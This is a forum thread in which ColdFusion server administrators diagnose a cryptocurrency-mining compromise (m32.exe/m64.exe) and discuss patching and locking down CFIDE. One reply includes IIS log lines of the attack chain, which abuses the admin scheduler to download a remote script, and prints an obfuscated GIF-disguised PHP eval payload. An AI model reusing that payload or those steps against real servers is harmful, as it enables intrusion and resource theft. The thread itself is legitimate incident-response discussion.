Adobe Coldfusion8, JRun4, m32.exe and m64.exe taking 100% of the CPU

[ondrej255]

Hello

on two CF8 Servers which we are running for several years I could see that recently we have two processes inside the Jrun4 folder cfusion82\cfusion.ear\cfusion.war\CFIDE\m32\m32.exe and cfusion82\cfusion.ear\cfusion.war\CFIDE\m64\m64.exe taking 100% of the CPU. Action appears randomly and occurs on two server without any user interaction. Killing those processes does not seem to have any effect on the functionalty of the system.

Also in the coldfusion reactor I am not able to see any request which would be connected to this behaviour.

Does anyone know what are these processes?

Strange thing is that the files have been created just recently and on each system/instances in different days.

Thank you very much for answer!

[carl type3 · Accepted solution]

Seems you are not alone. You might like this blog:

http://www.code-complete.com/code/index.php?/archives/64-Coldfusion-CFIDE-bitcoin-mining-exploit.htm...

HTH, Carl.

[String_Thing]

Thanks for posting this.  I too am having this problem.  Perhaps if this exploit is serious enough we will get a patch?

Steve

[pete_freitag]

If your server was compromised due to a hole in CF9+ that has not already been patched, then Adobe will patch it. But I think the much more likely scenario is that the attackers have leveraged an issue that has been patched by Adobe, but the patch was not applied to your server. What version of CF are you running?

Have you applied all the security fixes here: http://helpx.adobe.com/security/products/coldfusion.html

My company also has a service that can help identify if you have applied the patches: http://hackmycf.com/ there is a free scan and a more indepth subscription service.

--

Pete Freitag

Foundeo Inc.

[pete_freitag]

Another thing I forgot to mention is that the attacker may have leveraged a hole in something else running on your server not necessarily ColdFusion itself, for example an unpatched FCKeditor installation with a file upload vulnerability or a hole in your own application code.

[String_Thing]

I should have specified.  I'm running 8.01, I do believe it is fully patched and will be confirming that.  I agree, it may have been compromised through some other vulnerability.

Thanks for the reply.  And thanks for the link to the scanner.  Running it now...

Steve

[pete_freitag]

Hi Steve,  The problem with CF8 is that it is no longer supported by adobe, so if there was a vulnerability in CF8 they are no longer providing security patches for it, that's why I said 9+ in my previous note.   It is probably a good time to consider upgrading to CF10 on a fresh server, you probably don't want to keep a server running that was compromised.

[ondrej255]

Problem itself is the coldfusion administrator which is available from outside. Also in my case there is quite stupid fallback if you type in the full path /CFIDE/administrator/index.cfm to the C:\JRun4 application even when itself /cfide path was not available. As far as I know there are no security patches available.

[Charlie Arehart]

Yes, @ondre, as you have noticed (and others have before, myself included, in blog entries in early 2013), it’s not enough to confirm that a site (in IIS) or virtual host (in Apache) has no CFIDE folder (real or virtual), to conclude that no requests in the CFIDE can be executed. If the underlying CF webroot (such as the cfusion-war/cfusion.war in a jrun4 directory, or the wwwroot in a normal coldfusionX directory.) This is not any new feature of CF, as indeed you are observing it in CF8, and it continues in CF10.

Because of it, the solution for that is to block in your web server (or some other tool outside the web server, like a firewall, etc.) access to the most vulnerable CFIDE folders (CFIDE/adminapi, CFIDE/administrator, CFIDE/componentutils, and still others and indeed some specific file request). That way, yes even requests for such files in sites/vhosts with “no CFIDE” are still protected.

This is all discussed in a chapter of the CF lockdown guide (for 10 or 9).

Hope that helps.

/charlie

[kantmakm]

Here is the attack vector from IIS logs:

#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port cs-username c-ip cs(User-Agent) sc-status sc-substatus sc-win32-status

2014-03-24 07:55:48 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/enter.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:48 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/adminapi/base.cfc wsdl 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:49 W3SVC1 XXX.XXX.XXX.XXX POST /CFIDE/adminapi/administrator.cfc method=login 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:49 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/settings/mappings.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:51 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/settings/mappings.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:52 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/scheduler/scheduleedit.cfm submit=Schedule+New+Task 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:52 W3SVC1 XXX.XXX.XXX.XXX POST /CFIDE/administrator/scheduler/scheduleedit.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 302 0 0

2014-03-24 07:55:53 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/scheduler/scheduletasks.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:53 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/administrator/scheduler/scheduletasks.cfm runtask=update 80 - 193.0.202.101 WWW-Mechanize/1.73 200 0 0

2014-03-24 07:55:55 W3SVC1 XXX.XXX.XXX.XXX GET /CFIDE/updates.cfm - 80 - 193.0.202.101 WWW-Mechanize/1.73 404 0 0

Basically what happens is that a scheduled task is created to download a updates.txt file from a remote server and save it as updates.cfm in the CFIDE directory.  Then the scheduled task is deleted.  Then the updates.cfm script is called which pulls down the minerd exploits into the CFIDE directory. 

Further investigation shows files written to the following directory:

C:\ColdFusion9\runtime\servers\coldfusion\SERVER-INF\temp

One server had four empty files with names like "testFile8903121417178232103.tmp" This server was not running php.

The other server had the same four empty files along with 2 files containing code: [I assume one each for m32.exe and m64.exe]

GIF89aG

<?php eval(gzinflate(str_rot13(base64_decode('vUl6QttVEP58Vf0Py14kOyrE0OqkCjCCA0aiOwgXJ/cFkLWxJ8kWe3rtrgk5xH+/2bWdl0U4baoaIeHsMy/PPJ6ZDVWZy1VPkVjNxcTddu+/2+Bw4mFlpUC7rSgMwrDbu7xpU+wLu2Zh2+1fHt96tO654jrOWKGJQmnQqTWDET4ah/7fTv+ang8GStFsLxzQWwNm8XIN7gd/DYNjEA373cpglCdmtKADJiegVsI1ceUdE+RTmNgmADVpio0h21YAeo+44BEau445jLI8AXREwMKwWh5bCuJFZT3H+OHxTBBd9EEDDNA7O6P7Qu82IEjwitUlGtnUIAuQPnOc5leP5oJy4C5XZar/0fHpdh9oqouGO51YDPKSRj+46A2CFaeM8dSlMdccHoo0SjwXH2lpPx5aDNCJ84xhEXfVolv0nCmekt/Nq06lpk0Xe57XyIXCNRXdiO4VCU7eg+FFF2UjCJ5pkXCMHPG4oViXPBSTglLF0Zxa8/yndB/BCNSUybujlN/DQln/vO/RZheBcrM8s2v/3mkJH7vN7HwOBtdBnOYCzNyYsURsKXBLHQQnPOlqrwbRTPfP4PL4ImPsMCSgNCf+0uq0ajK8CC4HRL/XGzi3HeoVdjnhT2wl1uPZSZHQKaaFGRIJSJdI6bZVFa9d8f+BE7T3pgnaqyYIjeJ2QeiB5jqFw6H4UOQzTrZWyLMiBRJBIVoPvAo9GMlQRlbtMs5k0Sj+D/gfVZxwqf6vn+wHDQ92dJG3UA+80cK5hYeR0cenLu1gmREeoDbaHrrtDnq/NccQHbCQkie+jZTN8REjLEVnKJkswcnX4CqtN+UzLxATRfNXo9K+zvZtmGQpb43bgRQzWVNZe8WzpE01sTmqmrFI+ldYTOTKNfiW4zm2Fy20drAUhIXa27sGkKBYKYg56aBk82kfSs56o9fn31dkZvM9OdD65SRoIiOZg5LJjHFzk6LSSuZhIcx34EZt+LqgJ2yWMZE0Ah5jRJSa6GwBPtXwoCkxGvs0zhK6joblKONYvIpQyT1YWPv9Du09w+zQ2V90CviCeYisWTUvmNTWYTtumjXMm2VZNf9EwhB0nCXkjKdgy/CM9bN3pjxWQNR5SMV9zWCM/jV5bdN8pWjOQki0Skxcwsxt75FIEivxjZqV9+5iaB4BM/NAVpwypXzN1hwqkjVTVG2hekjwmrwr29Uoae1Hzs1+La1Uws2iL5YzsNmyPBqfmg46PU3A7nCzgMN4p5HEuVI7eHH7MMvvIaqiUBIZA/ebLjorosoNt+6CWsemqcn8kEOm2nePNF2BFyYkcy88kXcZkzU8LOMYlCIajzpfh8PlSOGbhO6TJztlz5SuO7+RGgfF6kmDTG9irm23FRJJ2+hw01M79oMbW5lyH8EDxK6JcUpb1Vae8aV4+3L9Ps2WFPKawxL4vxTySjksxPyuqEGqyGnKnBcCP/+pMG8xW9YmxkubdobI3lzojzeXwous4+GfwfmklMwsEXvvt5vara/J8S8=')))); ?>

To see the decrypted code look here:  http://www.code-complete.com/code/index.php?/archives/65-Coldfusion-CFIDE-bitcoin-mining-exploit-PHP...

I had an additional server with the scheduled task still showing - no files had been downloaded - screenshot here: http://www.code-complete.com/code/uploads/ahffahfb.png

[ACS LLC]

Same problem here, I see a directory in the webroot, userfiles, which contains a CF file that looks like it would be used like an FTP to upload files to the root directory.

This server was only set up a few days ago and has no mission critical processes on there and no database.

The CPU was at 100% running M64.EXE, which I killed and CPU went back to normal.

Had this in the past on another server, about 6 months ago, cleaned up.. returned... cleaned up.. applied some patches, so far so good.

The problem is applying CF patches is such a big manual and I personally think confusing job sometimes due to the poor documentation, I find it difficult to figure out if a patch at a certain time includes fixes from before and if I'm applying combo fixes that are messing up older ones, it's just a mess.

Anybody have an idea if there is a particular patch that can stop this from happening?

I'm wondering if will also require a full server reformat or uninstall/reinstall of CF.

Who knows what could be on there now even if it's patched.. if there IS a patch??